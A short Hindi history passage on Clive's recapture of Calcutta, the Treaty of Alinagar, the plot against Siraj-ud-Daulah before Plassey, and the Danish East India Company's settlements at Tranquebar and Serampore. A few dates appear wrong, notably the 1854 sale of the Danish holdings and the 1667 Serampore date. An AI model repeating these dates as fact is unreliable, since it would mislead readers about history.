इस प्रकार से कलकत्ता का पतन प्लासी युद्ध की पूर्व पीठिका माना जाता है। अंग्रेज़ अधिकारियों ने मद्रास से अपनी उस सेना को रॉबर्ट क्लाइव के नेतृत्व में कलकत्ता भेजा, जिसका गठन फ़्राँसीसियों से मुकाबलें के लिए किया गया था। इस सैन्य अभियान में एडमिरल वाटसन, क्लाइव का सहायक था। अंग्रज़ों द्वारा 2 जनवरी, 1757 को कलकत्ता पर अधिकार करने के बाद उन्होंने नवाब के ख़िलाफ़ युद्ध की घोषण कर दी, परिणास्वरूप नवाब को क्लाइव के साथ 9 जनवरी, 1757 को 'अलीनगर की संधि' (नवाब द्वारा कलकत्ता को दिया गया नाम) करनी पड़ी। संधि के अनुसार नवाब ने अंग्रेज़ों को वह अधिकार पुनः प्रदान किया, जो उन्हें सम्राट फ़र्रुख़सियर के फरमान द्वारा मिला हुआ था और इसके साथ ही तीन लाख रुपये क्षतिपूर्ति के रूप में दिया गया। अब रॉबर्ट क्लाइव ने कूटनीति के सहारे नवाब के उन अधिकारियों को अपनी ओर मिलाना चाहा, जो नवाब से असंतुष्ट थे। अपनी इस योजना के अन्तर्गत क्लाइव ने सेनापति मीर जाफर, साहूकार जगत सेठ, मानिक चन्द्र, कलकत्ता का व्यापारी राय दुलर्भ तथा अमीन चन्द्र से एक षडयंत्र कर सिराजुद्दौला को हटाने का प्रयत्न किया। इसी बीच मार्च, 1757 में अंग्रज़ों ने फ़्राँसीसियों से चन्द्रनगर के जीत लिया। अंग्रेज़ों के इन समस्त कृत्यों से नवाब का क्रोध सीमा से बाहर हो गया, जिसकी अन्तिम परिणति प्लासी के युद्ध में रूप में हुई।

डेन

डेनमार्क की 'ईस्ट इण्डिया कम्पनी' की स्थापना 1616 में हुई थी। इस कम्पनी ने 1620 में त्रैंकोवार (तमिलनाडु) तथा 1667 ई. में सेरामपुर (बंगाल) में अपनी व्यापारिक कंपनियाँ स्थापित कर लीं। सेरामपुर डेनों का एक प्रमुख व्यापारिक केन्द्र था। 1854 में डेन लोगों ने अपनी वाणिज्य कंपनी को अंग्रेज़ों को बेच दिया।


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टीका टिप्पणी और संदर्भ

  1. नीले पानी की नीति

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